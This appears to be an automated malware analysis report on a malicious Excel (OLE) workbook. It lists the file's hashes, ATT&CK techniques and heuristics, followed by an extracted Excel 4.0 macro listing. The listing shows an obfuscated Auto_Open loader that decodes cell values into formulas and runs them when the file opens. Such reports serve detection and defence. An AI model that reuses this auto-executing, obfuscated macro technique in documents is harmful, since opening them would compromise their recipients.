Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d19eba41bbbc85e0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:10 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 98df70dd18a4eb8c0e98857bd28f1e45 SHA-1: 326cfd83c92cb3fe3562010fbd09db7ab14e13fe SHA-256: d19eba41bbbc85e0d139c751838cc11705fd6aa0629fe2348250d650db72eb96
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential malicious execution. The presence of dangerous formula APIs like RUN further supports this. The macro sheet is likely designed to execute arbitrary code upon opening the workbook.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6557 bytes
SHA-256: dc8106de9f6a09aca0e033de3a25e4268ef259fbe3feca34364f21426fc5b118
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rIsUVgc
' 0018     26 LABEL : Cell Value, String Constant - aTTPYBqSMqe len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D130 
' 0018     24 LABEL : Cell Value, String Constant - AxtJvhBGa len=0 
' 0018     23 LABEL : Cell Value, String Constant - cKHctfkx len=0 
' 0018     25 LABEL : Cell Value, String Constant - dXaLFpxTAu len=0 
' 0018     23 LABEL : Cell Value, String Constant - eGUMLjeB len=0 
' 0018     21 LABEL : Cell Value, String Constant - EqfPTA len=0 
' 0018     25 LABEL : Cell Value, String Constant - EQQHTGdkMk len=0 
' 0018     21 LABEL : Cell Value, String Constant - gshxkE len=0 
' 0018     25 LABEL : Cell Value, String Constant - htBJavkPqQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - jnniAavF len=0 
' 0018     24 LABEL : Cell Value, String Constant - joFcYQcXC len=0 
' 0018     24 LABEL : Cell Value, String Constant - nEvroAgly len=0 
' 0018     20 LABEL : Cell Value, String Constant - PsrfE len=0 
' 0018     24 LABEL : Cell Value, String Constant - PwkzTqpmd len=0 
' 0018     26 LABEL : Cell Value, String Constant - xjNKWoMMGup len=0 
' 0018     20 LABEL : Cell Value, String Constant - XPnBn len=0 
' 0018     27 LABEL : Cell Value, String Constant - xswixCAxPPse len=0 
' 0018     20 LABEL : Cell Value, String Constant - XtkYr len=0 
' 0018     24 LABEL : Cell Value, String Constant - xTrohGQNW len=0 
' 0018     25 LABEL : Cell Value, String Constant - zHQvYqJSSm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rIsUVgc,D41,"SET.NAME("nEvroAgly",VALUE("0"))",""
'  rIsUVgc,D45,"SET.NAME("XtkYr",nEvroAgly)",""
'  rIsUVgc,D49,"SET.NAME("AxtJvhBGa",nEvroAgly)",""
'  rIsUVgc,D53,"SET.NAME("xjNKWoMMGup",COUNTA(xTrohGQNW))",""
'  rIsUVgc,D55,"SET.NAME("PwkzTqpmd",COUNTA(jnniAavF))",""
'  rIsUVgc,D58,[],""
'  rIsUVgc,D63,"SET.NAME("zHQvYqJSSm","")",""
'  rIsUVgc,D67,"XtkYr",""
'  rIsUVgc,D69,"SET.NAME("joFcYQcXC",HLOOKUP("*",xTrohGQNW,XtkYr,FALSE))",""
'  rIsUVgc,D73,"xswixCAxPPse",""
'  rIsUVgc,D76,"SET.NAME("gshxkE",nEvroAgly)",""
'  rIsUVgc,D78,[],""
'  rIsUVgc,D81,"gshxkE",""
'  rIsUVgc,D84,"EqfPTA",""
'  rIsUVgc,D89,"XPnBn",""
'  rIsUVgc,D91,"dXaLFpxTAu",""
'  rIsUVgc,D94,"SET.NAME("aTTPYBqSMqe",VALUE(HLOOKUP("*",jnniAavF,dXaLFpxTAu,FALSE)))",""
'  rIsUVgc,D96,"eGUMLjeB",""
'  rIsUVgc,D100,"zHQvYqJSSm",""
'  rIsUVgc,D103,"AxtJvhBGa",""
'  rIsUVgc,D107,NEXT(),""
'  rIsUVgc,D110,"cKHctfkx",""
'  rIsUVgc,D115,"SET.NAME("f",INT(T(FORMULA(T(zHQvYqJSSm)&"",""&T(cKHctfkx)))))",""
'  rIsUVgc,D118,"htBJavkPqQ",""
'  rIsUVgc,D122,NEXT(),""
'  rIsUVgc,D126,RETURN(),""
'  rIsUVgc,D155,"SET.NAME("EQQHTGdkMk",D41)",""
'  rIsUVgc,D160,"xTrohGQNW",""
'  rIsUVgc,D163,"SET.NAME("jnniAavF",R72C15)",""
'  rIsUVgc,D168,"SET.NAME("htBJavkPqQ",177)",""
'  rIsUVgc,D172,"SET.NAME("PsrfE",4)",""
'  rIsUVgc,D176,EQQHTGdkMk(),""
'  rIsUVgc,D177,HALT(),""